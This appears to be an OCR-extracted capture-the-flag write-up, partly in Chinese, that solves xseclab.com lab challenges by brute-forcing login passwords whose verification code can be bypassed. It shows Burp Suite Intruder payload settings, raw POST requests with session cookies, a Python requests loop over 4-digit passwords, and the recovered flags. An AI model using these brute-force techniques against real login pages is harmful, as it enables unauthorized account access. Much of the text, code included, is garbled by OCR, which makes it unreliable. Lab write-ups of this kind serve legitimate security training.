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<html>

<body>

<div style="display:none;” > [{NINCINENNIERIE(HNENIINNIEGENEE
{form action="index. php” method="post” >

<br>

<input type="input” name="flag” id="flag” />

{input type="submit” name="submit” value="Submit” />
</form>

</body>

</html>
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@ Payload Sets

ou can define one or more payload sets. The number of payload sets depends on the attacl
payload type can be customized in different ways.

Payload set: | 1 |  Payioad count: 90,000

Payload type: | Numbers a Request count: 90,000

(@) Payload Options [Numbers]

This payload type generates numeric payloads within a given range and in a specified format

Number range

Type: Seguential Random

From: 10000 ‘
S

To: 99999 |
ARy 4

Step: 1 |

How many: 1

Number format

Base: @ Decimal () Hex
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User: admin

Password: |esee
Vcode:
cWgqg 4

HABHREE, Users BESH, HHRRN: F—MUAAMACAR T, EFEMARIEDERH.
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POST /vcode1_bcfefTeacf7badct4aal1 8844cdbi1c46/login.php HTTP/M.1

Host: lab1.xseclab.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html application/xhtmi+xml application/xmil;q=0.9, image/webp,*/*,q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW,q=0.7 zh-HK;g=0.5,en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 44

Origin: hitp://lab1 xseclab.com

Connection: close

Referer: hitp./lab1.xseclab.com/vcode1_bcfeffeacfrbadc64aaf18844cdb1c4b/index . php
Cookie: PHPSESSID=017064de2fd7e967c471bedd 71617245
Upgrade-Insecure-Requests: 1

username=admin&pwd=12348vcode=&submit=submit
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Burp Project Intruder Repeater Window Help Attack Save Columns

[ Dasnvoars | Target [ prox | intruder | Repeater | | | comp urm Postions Pmlom

Lot faviaday | Options Request | Payload |statss  [Emor | Timeout |Length 4 | Comment
- 261 1260 200 O o 308
® Payload Positions 262 1261 200 a o 206
Configure the positions where payloads will be inserted into the base request. The attack type | 263 1262 200 o [
264 1263 200 [®) o 308
Aftack type: | Sniper 265 1264 200 @) o 3e
266 1265 200 @) o 306
POST ivcode_bcfef7eactTbadc64aaf18844cdb1c46iogin.php HTTP/1.1 267 1266 200 o [
Host: lab1 xseclab.com 263 1267 200 &) @] 306
User-Agent: Mozila/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75| 269 1268 200 o g 308
Accept: K tmib+xm, i ml,g=0.9,imag p,**,q=0.8 270 1269 200 o a 306
Accept-Language: zh-CN,zh;q=0.8,2h-TW;q=0.7, zh-HK;q=0 5 en-US;q=0.3,en;q=0.2 75 1074 200 a O 3
Accept-Encoding: gzip, deflate
239 1238 200 ] 320
Content-Type: i www-form-ur ] D,_,

o "T
Request
Origin: http:/flab1 xseclab.com

Connection: close Eﬂm Hex | Render ]
Referer: http:/lab1.xseclab.comivcode1_bcfef7eacfTbadc64aaf18844cdbic4b/index.php

Cookie: PHPSESSID=017064de2{d7e967c47 1bed471617245 Server: nginx
Upgrade-Insecure-Requests: 1 Date: Wed, 15 Apr 2020 07:27:15 GMT
Content-Type: texthtml; charset=utf-8
pwd=5123458vcode=8 i Connection: close

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Via: 4335

Content-Length: 22
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User: jadmin |
Password: |
Vcode: |
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POST ivcode2_aGefbac0b47c8187b09%deb20babcOeB5/login.php HTTR .1

Host: lab1.xseclab.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/htmi application/x htmi+xmil, application/xml,q=0.9 image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8 zh-TW,g=0.7 ,zh-HK;g=0.5,en-US;g=0.3,en;g=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-uriencoded

Content-Length: 44

Origin: hitp:/flab1.xseclab.com

Connection: close

Referer: hitp./lab1.xseclab.comivcode2_abe6bac0b47cB8187b09%deb20babecOeBSindex. php
Cookie: PHPSESSID=017064de2fdTe967c471bed47i617245

Upgrade-Insecure-Reguests: 1

username=admin&pwd=1 23¢&vcode=&sm=3ubnit|

i
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B Burp Suite Community Edition v2.1.04 - Temporary Project
Attack Save Colmns
Burp Project Intruder Repeater Window Help

| [ommonr [ro0e o [t s | smere o [ s R Lo ot | oo [ o |
[1_T2_Tm ‘Filer: Showing all items

Reauest | Payload |status  |Error | Timeout |Length & | Comment
[YHﬁTWTPwMTDMW | | | | |

- = 18 1217 200 a a 306
@ Payload Positions 1 1218 200 o E ot
20 1219 200 a O 308
Configure the positions where payloads will be inserted into the base request. The a|| 21 1220 200 @] o 306
2 1221 200 a a 306
Aftack type: | Sniper 23 1222 200 a @) 306
24 1223 200 a o 308
POST /vcode2_; 7c8187b0%deb: login.php HTTP/1.1 25 1224 200 a (] 306
Host: lab1.xseclab.com 2 1225 200 a @] 306
User-Agent: Mozila/5.0 (Windows NT 10.0; Win64; x64; v:75.0) Gecko/20100101 1| 57 1226 200 o =) 306
xcep::::xumm : zh-CN,zh; h:rg:“:TW =0.7, h—H;‘ijE US; =6‘:“q='ofﬂ » et 200 = © 08
cept-Language: zh-CN zhig=0 B.zh- TW,q=0.7,zh-HKg=0 5,en-US;g=03,enia=0, | 1229 200 o O 306

Accept-Encoding: g2ip, deflate
Content-Type: applicationix-www-form-urlencoded

Content-Length: 44 ey §

Bl >

Origin: http:/lab1 xseclab.com m H P T ]
Connection: close
Referer: http:/lab1.xseclab. ) TcB187 HTTP/1.1 200 OK
Cookie: PHPSESSID=017064de2(d7e967c471bed471617245 Server: nginx
Upgrade-Insecure-Requests: 1 Date: Wed, 15 Apr 2020 07:03:17 GMT
Content-Type: text/himl; charset=uti-8
_w: it Connection: close
Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Via: 4335

Content-Length: 33
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Tips2: SESSION

User: admin |

Password:
Vcode:
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Burp Project Intruder Repeater Window Help Attack Save Columns
[Duhboard ITarqd T Prox Ilnlmmr IRepenter I Sequencer TDecnder T Comparer r Results TTargm I Positions T Payloads T Options 1

[TI?]TW_] | Fiter: Showing all items.

[Target ]’Pm T Payloads IUptlons ]

Request Payload | Status Error Timeout | Length ¥ | Comment

. 99 1298 200 O O 326
@ Payload Positions

m 1300 200 (] (] 309
Configure the positions where payloads will be inserted into the base request. The attack type ¢| 0 200 o o 308
1 1200 200 o O 308
Aftack type: | Sniper 2 1201 200 a a 306
3 1202 200 a O 306
POST ivcode3_9d1ea7ad52ad93c04aB37e0808b17097/ogin.php HTTPI.1 4 1203 200 U U e
Host: lab1.xseclab.com 5 1204 200 g g 306
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0| 6 1205 200 a a 306
Accept: text/html application/xhtmi+xmi application/xml;q=0.9,image/webp,*/*,q=0.8 7 1206 200 0 0 306
Accept-Language: zh-CN,zh;g=0.8,zh-TW,q=0.7,zh-HK;q=0.5 en-US;q=0.3,en;q=0.2 8 1207 200 O O 306
Accept-Enceding: gzip, deflate 9 1208 200 ] @] 308

Content-Type: application/x-www-form-urlencoded

Content-Length: 44 [ ] ]
Request | Response

Origin: http:/lab1.xseclab.com =

Connection: close Raw | Headers | Hex | Render

Referer: hitp:/lab1 xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/index php

Cookie: PHPSESSID=017064de2fd7e967c47 1bed4 71617245 Server: nginx

Upgrade-Insecure-Requests: 1 Date: Wed, 15 Apr 2020 07:44:06 GMT
Content-Type: text/htmi; charset=utf-8

username=admin&pwd=§1234§&vcode=8submit=submit Connection: close

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Via: 3832
Content-Length: 28
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for password in range(1000,9999) 'vcode'
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The passowrd is

key is LILIL789sdf#@
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i

The passowrd is : 1228

key is LJILIL789ss33fasvxcvsdf#@sd

# 2:Favorites

= Python Console Q Event Log

pS-(2log CIY Rl 4557185

FEl soe@m @ W8V SHinN /B0 =R EFU IE0 VeSS B0 W) e (H)
D: KT pythonlBHE | o Z2BIAMIAET . py A TOTERIAST -

o RS2, py o TETRAIIES. py o TEIAIRE6.py o TETAASET py




for password in range(1000, 999...

TR IhIIAST

7 Structure

The passowrd is : 1298

key is LILILfuckvcodesd

# 2:Favorites

Q Event Log

sMHtps:#Rlog-codEnptWepin 4587 1885

import requests
url

for password in (1000, 9999):
head {

post : h : password, : 5
result requests.post(url, headers=head, data=post).text
print(password)
if (result)
print( (password))
print(result)

break
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